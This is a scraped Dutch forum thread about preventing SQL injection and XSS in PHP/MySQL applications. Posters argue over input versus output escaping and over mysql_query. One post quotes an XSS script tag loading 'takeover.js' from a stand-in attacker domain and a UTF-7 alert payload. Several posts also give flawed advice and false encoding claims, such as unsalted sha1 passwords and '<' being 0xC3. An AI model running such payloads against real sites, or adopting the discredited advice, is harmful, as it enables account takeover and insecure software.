:strip_icc():strip_exif()/u/12461/crop65b195553d948.jpg?f=community)
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
:strip_exif()/u/7759/red_cat.gif?f=community)
:strip_icc():strip_exif()/u/43400/avatar.jpeg?f=community){kind=avatar}
In ieder geval geen SQL injection en al helemaal niet dankzij vage PHP zaken
Had dus geen drol met software te maken; maar dat was het punt dan ook niet.
[ Voor 63% gewijzigd door RobIII op 09-02-2009 17:41 ]
There are only two hard problems in distributed systems: 2. Exactly-once delivery 1. Guaranteed order of messages 2. Exactly-once delivery.
Je eigen tweaker.me redirect
Over mij
/u/249034/arrow.png?f=community){kind=icon}
Ik vraag me eigenlijk meer af of je al eens mysqli en stored procedures gebruikt.
Wat is het voordeel ten opzichte van stored procedures? Welke tekens vind je overbodig?
offtopic:
Er zijn wel parallellen met software te maken.
Er zijn wel parallellen met software te maken.
Vitamine D tekorten in Nederland | Dodelijk coronaforum gesloten
:strip_icc():strip_exif()/u/126096/crop580e4f8566fec_cropped.jpeg?f=community)
Ik heb zelf een soort van static class (of nouja dat kan niet in php, maar alle methods zijn static) die verschillende type input valideert (oa ook altijd wachtwoorden meteen verhaspelt naar sha1 zodat er ook nergens hardcoded wachtwoorden zijn. String data wordt ge-escaped met de mysql_real_escape functie. Ik bedenk me alleen net dat getallen wel gecontroleerd worden, maar als ze geen getallen zijn de conversie naar (int) misschien fout kan gaan
)
:strip_exif()/u/47168/loop.gif?f=community)
En dat is de foute oplossing. 
Bij je input checks in het begin van je script hoort zeker wel het een en ander, maar sql context specifieke zaken hebben daar geen drol te zoeken. Bovendien ga je gewoon alsnog gruwelijk de boot in bij je queries.
Jouw input filter is gewoon een zelfgebouwde magic_quotes, inc. de nadelen.
Bij je input checks in het begin van je script hoort zeker wel het een en ander, maar sql context specifieke zaken hebben daar geen drol te zoeken. Bovendien ga je gewoon alsnog gruwelijk de boot in bij je queries. Jouw input filter is gewoon een zelfgebouwde magic_quotes, inc. de nadelen.
{signature}
/u/8830/crop5df8eadcd55ca_cropped.png?f=community)
Na betaling van een licentievergoeding van €1.000 verkrijgen bedrijven het recht om deze post te gebruiken voor het trainen van artificiële intelligentiesystemen.
:strip_exif()/u/13818/episodebutler_60x60.gif?f=community)
Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'
Inderdaad, dit voelt als een oplossing van een doorgeslagen DBA die last heeft van incompetente frontend programmeurs . Problemen moet je op de goede plek oplossen.
. Problemen moet je op de goede plek oplossen.Bijna geen enkele toepassing is zo complex dat je database specifieke spullen nodig hebt.
[ Voor 41% gewijzigd door BCC op 10-02-2009 13:20 ]
Na betaling van een licentievergoeding van €1.000 verkrijgen bedrijven het recht om deze post te gebruiken voor het trainen van artificiële intelligentiesystemen.
:strip_exif()/u/26373/anim4.gif?f=community)
"I had a problem, I solved it with regular expressions. Now I have two problems". That's shows a lack of appreciation for regular expressions: "I know have _star_ problems" --Kevlin Henney
Grappig, de inhoud van je post komt compleet overeen met een reactie die ik gisteren op de FP plaatste: .oisyn in 'nieuws: Hacker kraakt Kaspersky-website met sql-injectie'
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
Het is de DBA die de schade mag gaan herstellen, vanuit zijn oogpunt gezien valt er wel wat voor te zeggen om op database niveau de boel dicht te spijkeren.:
Inderdaad, dit voelt als een oplossing van een doorgeslagen DBA die last heeft van incompetente frontend programmeurs
Dat kunnen verschillende plaatsen zijn, afhankelijk van de problemen en de beschikbare kennis en capaciteit. De database is één van die mogelijkheden en dat lost direct het probleem op voor álle applicaties die van deze database gebruik maken. Dat kan een groot voordeel zijn, zeker in grotere organisaties.
Vaak niet wanneer je het hebt over direct toepasbare functionaliteit, wel wanneer je het hebt over performance. In het genoemde PostgreSQL kun je bijvoorbeeld functionele indexen gebruiken, in MySQL gaat je dat niet lukken. Dat kan een slok op een borrel schelen.
Daarnaast vraag ik me dan af waarom databases dan blijkbaar zoveel (verschillende) functionaliteit nodig hebben, dat zal niet zijn omdat er geen vraag naar is...
:strip_icc():strip_exif()/u/5855/BDKAMZi.jpg?f=community)
Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
Oh, je gaat er dus vanuit dat de data nooit in bijvoorbeeld scripts, abbr-tags of param-tags wordt gezet?
En wat nu als je een goede foutmelding wil teruggeven waarom je geen business object kan maken? Of als een programmeur zich op een andere manier niet aan deze regel houdt?
En bij alleen &, ", ' of >'s encodeer je gewoon niks, maar decodeert de browser wel...
Assumption is the mother of ...
En daarnaast kun je je data zo verminken...
Vitamine D tekorten in Nederland | Dodelijk coronaforum gesloten
Omdat de data by default als html encoded wordt opgeslagen in de database moet de programmeur bewust html_decode gebruiken om het als html te laten tonen. Dit in tegenstelling tot wat gebruikelijk is dat de programmeur ervoor moet zorgen dat het *NIET* als html wordt getoond. De data wordt inderdaad nooit in scripts gebruikt wat het betreffen hier opmerkingen en/of vragen. Dat is content en klanten leveren geen content aan.
Even een vraag zoals die gesteld kan worden door een bezoeker:
Graag zou ik willen <script src="http://evildomain.ru/takeover.js"></script> weten wat mijn leen mogelijkheden zijn.
Iedereen zal het ermee eens zijn dat het script nooit uitgevoerd mag worden. Dit kun je op twee manieren oplossen:
1) Via html_encode op *ELKE* plaats waar maar het commentaar getoond dient te worden met als groot risico dat het ergens vergeten wordt (want daarom bestaan XSS-injecties voornamelijk, want elke web developer probeert het te voorkomen).
2) Aanpakken bij de bron, en dat is de invoer.
Ik geef hier juist als voorbeeld een opmerkingen veld want dat is nou typisch zo'n veld wat je niet echt kunt valideren.
Wij hebben bewust gekozen voor optie 2. Daardoor zal bij het ophalen van de vraag de response automatisch html encoded zijn. Als het gewenst is dat de vragen naar een CSV bestand worden geexporteerd, dan zal de programmeur inderdaad html_decode moeten gebruiken. Teksten van klanten behoren niet in javascripts voor te komen.
Je eerste vraag begrijp ik niet helemaal. Als een third party geen instantie van ons component kan maken, dan komt toch ook de foutmelding niet bij ons vandaan? Alle akties welke betrekking hebben op opslaan, wijzigen of verwijderen van records geven een boolean terug. Of het is gelukt of niet. 'Het is misschien gelukt' bestaat niet. In de logging staat gedetailleerd beschreven waarom een aktie is mislukt.
Het antwoord op vraag 2 is vrij simpel. Gebruikers van onze software kunnen alleen communiceren met de business laag. Want alleen de componenten uit de business laag zijn als services ter beschikking gesteld. Geen uitzonderingen mogelijk.
Leg mij maar eens uit hoe jij HTML kan schrijven zonder gebruik van het kleiner dan (<) teken..
'Gisteren zei iemand tegen mij: "Doe eens de test a > b"' klik a href="http://tweakers.net">hier/a>
Bovenstaande regels leveren zonder html encoding ook geen probleem op.
Ik heb via PHP en SOAP een testje gedaan door het commentaar als UTF-7 naar de service te sturen. Bij het presenteren van het commentaar in een online backoffice (zowel getest met MSIE als Firefox) was de output onuitvoerbaar: Graag zou +ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-. ik willen weten."Dat weet ik juist wel, want in de SGML/XML documentatie is duidelijk vermeld het kleiner dan teken 0xC3 moet zijn en het groter dan teken 0x3E. In unicode blijven die waardes hetzelfde (hetzij dan U+00C3). dus de character encoding kan nooit voor een XSS-injection zorgen. Tekstuele data wordt bij ons in de database al in unicode opgeslagen (nvarchar, ntext, etc)."
Assumption is the mother of ...
Bovenstaand zou wel een probleem zijn als de server geen encoding meestuurt of deze op UTF-7 zou zetten. In het eerste geval doet de browser zelf de detectie. Pas op het moment dat ik handmatig via de browser (menu) de encoding op UTF-7 had gezet kreeg ik pas de popup.
Overigens heeft het kleiner dan teken in UTF-7 nog steeds code C3. Echter als de encoding in een andere encoding getoond wordt kan deze anders gepresenteerd worden. Wel moet ik bekennen dat ik deze vorm van XSS-injectie niet kende. Maar als je in het voorbeeld van google bij de header aangeeft dat encoding utf-8 is (ipv utf-7) gaat het ook niet meer fout..
Overigens zijn Amerikaanse financiële intermediairs verplicht melding bij DHS (Department of Homeland Security) te maken als zij een vermoeden hebben dat iemand bezig is met sql en/of xss injectie. Omdat intermediairs direct communiceren met banken en verzekeraars worden dergelijke aanvallen gezien als cyber terrorisme. Immers dergelijk maatschappijen vallen onder kritische infrastructuur.
If it isn't broken, fix it until it is..
Alsof er zoveel meer plekken zijn waar outputdata wordt geprepareerd dan inputdata wordt geparsed in een goed opgezette applicatie
Het verschil tussen escapen in postback-comment of render-comment is enkel lamheid van jou als developer en het opzettelijk verkrachten en ongeschikt maken voor non-HTML output van je database, plus schijnveiligheid omdat oplossing 1 alle vormen van invoer (denk imports, denk direct access) afvangt en oplossing 2 enkel malicious end-users.
In het kort (en iets degelijks heb ik echt al 50x gezegd @ got): Encoding is context afhankelijk, dus doe het *(&$^$^@$W nou eens in de goede context.
Een aanpak zoals die van Niemand_Anders is minstens zo lastig (ik zou zelfs zeggen lastiger) om goed te doen, en in het 'beste' geval heb je je eigen magic_quotes gebouwd. Als je het probleem van magic quotes begrijpt, moet je ook begrijpen dat deze tactiek dezelfde fundamentele flaws heeft...
Een aanpak zoals die van Niemand_Anders is minstens zo lastig (ik zou zelfs zeggen lastiger) om goed te doen, en in het 'beste' geval heb je je eigen magic_quotes gebouwd. Als je het probleem van magic quotes begrijpt, moet je ook begrijpen dat deze tactiek dezelfde fundamentele flaws heeft...
{signature}
:strip_icc():strip_exif()/u/6143/rincewind.jpg?f=community)
“Build a man a fire, and he'll be warm for a day. Set a man on fire, and he'll be warm for the rest of his life.”
En als je iets met de data die uit de db doet welke niet direct met een html context te maken heeft mag je weer decoden? Je blijft hetzelfde probleem hebben, plus dat niet alle input langs de db laag komt, etc. etc.
* Voutloos vraagt zich af, of dit topic wel zin heeft. Je kan er nog een paar honderd reacties tegen aan gooien (hoeveelheid unieke argumenten in dit topic is al zeer beperkt, deze 230 posts is al steeds een herhaling van zetten), maar blijkbaar zien sommigen het gewoon echt niet...
* Voutloos vraagt zich af, of dit topic wel zin heeft. Je kan er nog een paar honderd reacties tegen aan gooien (hoeveelheid unieke argumenten in dit topic is al zeer beperkt, deze 230 posts is al steeds een herhaling van zetten), maar blijkbaar zien sommigen het gewoon echt niet...
{signature}
“Build a man a fire, and he'll be warm for a day. Set a man on fire, and he'll be warm for the rest of his life.”
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
Dan nog gaat niet alles door je db-layer. En een output formaat parameter is een goed idee, maar dan wel gewoon in een presentatie layer. 
(en je ontkracht niet volledig mijn eerste argument, want soms haal je data op die zowel wilt bewerken in je programma als representeren in html)
(en je ontkracht niet volledig mijn eerste argument, want soms haal je data op die zowel wilt bewerken in je programma als representeren in html)
[ Voor 34% gewijzigd door Voutloos op 13-02-2009 12:30 ]
{signature}
Ik zeg niet dat z'n design nou verder zo fantastisch is, ik ontkracht alleen maar je eerste argument uit jouw post.
Oh ja: en
Oh ja:
en
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
Na betaling van een licentievergoeding van €1.000 verkrijgen bedrijven het recht om deze post te gebruiken voor het trainen van artificiële intelligentiesystemen.
/u/107051/jeroenmadtrix60.png?f=community)
'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
:strip_icc():strip_exif()/u/5964/crop56503163e97a5.jpeg?f=community)
'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.
Wie heeft het over het schrappen van functies?
Waar zeg ik dat low-level interfaces verwijderd moeten worden?
Ben je een stroman aan het bouwen?
Het gaat niet om een paar specifieke hacks maar om SQL injectie in het algemeen.
Omdat het (direct) gebruik van deze functie vrijwel altijd fout is.
Blijkbaar heb jij geen goed template systeem. Dat is echt een non-issue.
[ Voor 28% gewijzigd door Olaf van der Spek op 15-11-2011 00:34 ]
Niet bewust ik elk geval.:
[...]
Wie heeft het over het schrappen van functies?
[...]
Waar zeg ik dat low-level interfaces verwijderd moeten worden?
Ben je een stroman aan het bouwen?
Wat is dán de oplossing die je voor ogen hebt voor het probleem dat je constateert?Met het risico offtopic te gaan: dat heeft niks met de kwaliteit van het templatesysteem te maken. Er zijn situaties denkbaar waarbij je juist je spul niet wil escapen omdat er HTML in moet zitten, terwijl er ook situaties zijn waarin je dat wel wil. Domweg de aanname maken dat je altijd maar moet escapen omdat dat minder problemen veroorzaakt gaat voor iemand die wél weet wat hij doet juist méér problemen veroorzaken.
[ Voor 43% gewijzigd door NMe op 15-11-2011 01:05 ]
'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
Het toevoegen van een veilige wrapper. Iedereen adviseren (in de documentatie) niet mysql_query() (direct) te gebruiken.:
Niet bewust ik elk geval.
Onzin. Ook dat is in een goed template systeem prima te doen. Alweer geldt: safe by default. Maar wil je een keer iets niet automatisch escapen, dan is dat geen enkel probleem.
Nee, je hebt gewoon gelijk, dat blijft een issue natuurlijk. Als je automatisch escapen uitzet voor een veld, ben je zelf verantwoordelijk voor validatie / escapen.
[ Voor 20% gewijzigd door Olaf van der Spek op 15-11-2011 01:52 ]
:strip_exif()/u/101588/the_lemmings_masacre_2_by_wormthingy.gif?f=community)
'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.
Precies wat ik vind ja maar Olaf vind het niet simpel genoeg blijkbaar. Als ie n beter idee heeft dan ben ik daar erg benieuwd naar
/u/291941/crop61880fced5227_cropped.png?f=community)
:strip_icc():strip_exif()/u/81003/avtar.jpg?f=community)
'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.
Ik vind de documentatie van mysql_query ook niet de plek om SQL injection te gaan bespreken eigenlijk. Die pagina biedt wat het moet doen: uitleggen hoe de functie werkt.Hooguit een linkje naar een pagina die het bespreekt. Er is ook geen standaard-functie tegen xss of csrf, daar zul je als developer iets op moeten verzinnen. Een goed voorbeeld vond ik de md5-functie, doet precies wat het moet doen maar voor wachtwoorden kun je t beter niet meer gebruiken en dat hoor je als developer te weten.
Ja, zo blijven de goede developers vanzelf over, goed voor onze markt
Heeft dat iets met deze discussie te maken?
Zegt dat iets over jouw werkgever
Hier gebeuren zulke dingen wel. Iemand die komt solliciteren krijgt gewoon een aantal vragen en uit zijn antwoorden kun je best halen of iemand verder kijkt dan een voorbeeld uit de documentatie. Ook doen we hier aan code reviews en proberen we elkaars projecten te hacken.
[ Voor 18% gewijzigd door Cartman! op 15-11-2011 16:55 ]
Maar ook dat linkje staat er niet (voor zover ik weet). Een SQL injection pagina is er wel: http://php.net/manual/en/security.database.sql-injection.php
Maar daar wordt dan weer mysql_real_escape_string() in plaats van PDO aangeraden.
Ja. Kun je de link niet leggen?
Fijn voor jullie. Geen idee wat mijn werkgever hiermee te maken heeft. Ik zeg ook niet dat het overal fout gaat.Zegt dat iets over jouw werkgever
[ Voor 4% gewijzigd door Olaf van der Spek op 15-11-2011 16:59 ]
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.
'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.
"I had a problem, I solved it with regular expressions. Now I have two problems". That's shows a lack of appreciation for regular expressions: "I know have _star_ problems" --Kevlin Henney
/u/313216/crop679f937b7f4c1_cropped.png?f=community)
'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.
offtopic:
Het topic gaat over mysql, en je wist best van het bestaan van de mysqli functies af, maar toch moet je per se naar de goede set Postgres functies linken. Zo kan ik ook zeggen dat mysqli beter is dan pg_query, makkelijk scoren...
Het topic gaat over mysql, en je wist best van het bestaan van de mysqli functies af, maar toch moet je per se naar de goede set Postgres functies linken. Zo kan ik ook zeggen dat mysqli beter is dan pg_query, makkelijk scoren...
edit:
Bedank Captain Obvious. Toch ging de topicstart over mysql_query(), het gros van het topic over mysql en zeg jij 'neem de PHP functie voor Postgres als voorbeeld'. Dat suggereert dat ze allemaal beter zijn cq. Postgres beter is, maar pg_query() zuigt om dezeflde redenen als mysql_query().
Bedank Captain Obvious. Toch ging de topicstart over mysql_query(), het gros van het topic over mysql en zeg jij 'neem de PHP functie voor Postgres als voorbeeld'. Dat suggereert dat ze allemaal beter zijn cq. Postgres beter is, maar pg_query() zuigt om dezeflde redenen als mysql_query().
[ Voor 38% gewijzigd door Voutloos op 15-11-2011 23:14 ]
{signature}
SQL injection is net zo generiek als SQL en maakt geen onderscheid tussen databases:
offtopic:
Het topic gaat over mysql, en je wist best van het bestaan van de mysqli functies af, maar toch moet je per se naar de goede set Postgres functies linken. Zo kan ik ook zeggen dat mysqli beter is dan pg_query, makkelijk scoren...
Verwijderd
Dit topic kun je net zo goed hernoemen naar: [Huis in bos met gemiddelde temperaturen van 50 graden] Hoe bosbrand te voorkomen? 
PHP is een belabberde programmeertaal, zeker voor zoiets als applicaties die aan Internet hangen; doe het gewoon niet. Als je niets beters weet te verzinnen dan PHP, stop dan maar gewoon met ontwikkelen. Als je klanten hebt die om PHP vragen, leg ze dan uit dat het een heel slecht idee is.
Waarom? In PHP hangt de veiligheid van je applicatie af op hoe goed mensen opletten (en dat is nu net waar mensen niet zo goed in zijn). Ze kunnen misschien een week geconcentreerd ergens mee bezig zijn, misschien wel 1 jaar, maar er komt een dag, dat er iemand even niet oplet, en je hebt een probleem (en je weet niet dat je een probleem hebt). De verdere ellende met PHP is dat het ontwikkeld is door een onervaren iemand. Denk aan de meest hippe persoon bij je op de universiteit die voor de lol even een taaltje heeft bedacht (die lopen overal wel rond) tijdens zijn bachelor. Gedaan? Ok, dat is dus de ontwikkelaar van PHP. Ga je daar je bedrijf op bouwen? Nee, dat doe je niet.
Mocht je meer van statistiek houden: hoeveel grote websites zijn van taal X naar PHP overgestapt? En hoeveel andersom? Juist.
Dus conclusie: als je een veilig systeem wilt hebben, moet je het niet al onveilig maken door prutszooi van een of andere hippe gozer te gebruiken.
PHP is een belabberde programmeertaal, zeker voor zoiets als applicaties die aan Internet hangen; doe het gewoon niet. Als je niets beters weet te verzinnen dan PHP, stop dan maar gewoon met ontwikkelen. Als je klanten hebt die om PHP vragen, leg ze dan uit dat het een heel slecht idee is.
Waarom? In PHP hangt de veiligheid van je applicatie af op hoe goed mensen opletten (en dat is nu net waar mensen niet zo goed in zijn). Ze kunnen misschien een week geconcentreerd ergens mee bezig zijn, misschien wel 1 jaar, maar er komt een dag, dat er iemand even niet oplet, en je hebt een probleem (en je weet niet dat je een probleem hebt). De verdere ellende met PHP is dat het ontwikkeld is door een onervaren iemand. Denk aan de meest hippe persoon bij je op de universiteit die voor de lol even een taaltje heeft bedacht (die lopen overal wel rond) tijdens zijn bachelor. Gedaan? Ok, dat is dus de ontwikkelaar van PHP. Ga je daar je bedrijf op bouwen? Nee, dat doe je niet.
Mocht je meer van statistiek houden: hoeveel grote websites zijn van taal X naar PHP overgestapt? En hoeveel andersom? Juist.
Dus conclusie: als je een veilig systeem wilt hebben, moet je het niet al onveilig maken door prutszooi van een of andere hippe gozer te gebruiken.
'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.
Noem eens 1 taal waarbij dit niet zo is?
PHP heeft een lage leercurve, heeft extreme bagger tuts op het inet staan, heeft een slechte documentatie (imho zelfs rampzalig te noemen als je de comments meepakt, wat soms weer nodig is omdat dan de comments beter zijn dan de docs
) maar in de basis is het niet beter/slechter dan een andere taal.
Dit topic is gesloten.